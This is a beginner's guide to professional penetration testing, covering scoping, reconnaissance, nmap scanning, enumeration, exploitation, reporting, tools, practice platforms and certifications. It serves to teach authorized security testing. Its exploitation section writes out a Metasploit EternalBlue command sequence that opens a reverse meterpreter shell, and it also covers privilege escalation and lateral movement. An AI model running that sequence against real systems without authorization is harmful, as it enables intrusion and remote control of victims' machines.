Penetration Testing Beginner Guide

Penetration testing is authorized, structured hacking. You are paid to find vulnerabilities before attackers do, document every finding, and explain how to fix it. The work is less about exotic exploits and more about methodology, enumeration discipline, and clear report writing. This guide walks through the full process from lab setup to your first professional report.

What a Penetration Test Actually Is

A penetration test is a time-boxed, scoped engagement simulating attacker behavior against a defined target. It is not vulnerability scanning (automated, broad), not a red team engagement (long-term, stealthy), and not bug bounty hunting (open scope, competitive). The scope document defines everything: targets, exclusions, escalation procedures, and rules of engagement. Get it signed before running a single scan.

Phase 1: Reconnaissance

Collect information about the target without touching it. Passive recon uses public sources: WHOIS records, DNS data, Shodan, LinkedIn profiles of the IT team, GitHub repositories, and certificate transparency logs. Visit crt.sh to enumerate subdomains from SSL certificates alone. Active recon queries the target directly with DNS enumeration, subdomain brute-forcing with ffuf, and light port scanning. Document every finding — recon shapes the entire test.

Phase 2: Scanning and Enumeration

Map the full attack surface. Nmap is the foundation:

# Service detection + default scripts
nmap -sV -sC -oA initial_scan target_ip

# Full port scan
nmap -p- --min-rate 5000 -oA fullscan target_ip

# UDP scan for top ports
nmap -sU --top-ports 100 target_ip

After port scanning: enumerate each service. Web server? Run Gobuster for directory brute-forcing and Nikto for quick misconfigurations. SMB exposed? Run enum4linux-ng. SNMP open? Run snmpwalk with the community string. LDAP? Query for domain users and groups. Build a complete picture before touching any exploit.

Phase 3: Vulnerability Analysis

Map enumeration findings to known vulnerabilities. Cross-reference CVE databases, ExploitDB, and Metasploit module lists. Run Nessus or OpenVAS for automated coverage, but verify every finding manually — scanners generate false positives that will embarrass you in a client report. Only include vulnerabilities you have confirmed exist.

Phase 4: Exploitation

Attempt to exploit confirmed vulnerabilities. Metasploit handles a large portion of common exploits:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target_ip
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST your_ip
exploit

Post-exploitation matters as much as initial access. Escalate privileges, move laterally within scope, and document exactly what you accessed. Screenshots, command output, and timestamps make your findings credible. Impact demonstration — showing that you reached the domain controller or accessed a database with PII — is what justifies the engagement cost to the client.

Phase 5: Reporting

A pentest with a bad report is a wasted engagement. Professional reports include three parts: an executive summary explaining business risk in plain language, a technical section with reproduction steps and CVSS scores for each finding, and a prioritized remediation list. Write the executive summary last. Non-technical readers need “an attacker could access customer payment records from the internet” not “we exploited CVE-2024-XXXX via unauthenticated RCE on the API gateway.”

Essential Tools

• Kali Linux — Debian distro with 600+ pre-installed security tools. Run as VM or on dedicated hardware.
• Nmap — Network scanning. Master it before anything else.
• Metasploit Framework — Open-source exploitation framework, updated constantly.
• Burp Suite Community — Web application proxy. The free tier is sufficient to learn.
• BloodHound — Active Directory attack path visualization. Essential for internal assessments.
• Linpeas / Winpeas — Automated privilege escalation enumeration for Linux and Windows post-exploitation.

Legal Practice Platforms

Practice only on systems you own or platforms built for it. TryHackMe is the best starting point — guided paths, browser-based labs, zero local setup required. HackTheBox is harder and closer to real-world assessments. VulnHub hosts downloadable vulnerable VMs for offline practice. For web app testing, run DVWA or WebGoat locally. When ready to earn, start with bug bounty programs on HackerOne or Bugcrowd — read the scope policy carefully, and report every finding regardless of severity.

Certification Path

• eJPT (eLearnSecurity Junior Penetration Tester) — Affordable, practical, good first milestone.
• CompTIA PenTest+ — Vendor-neutral, multiple-choice, good for demonstrating foundational knowledge to employers.
• OSCP (Offensive Security Certified Professional) — 24-hour hands-on exam. Industry gold standard. Required for serious red team roles. Pursue after 6+ months of consistent HackTheBox practice.

n

n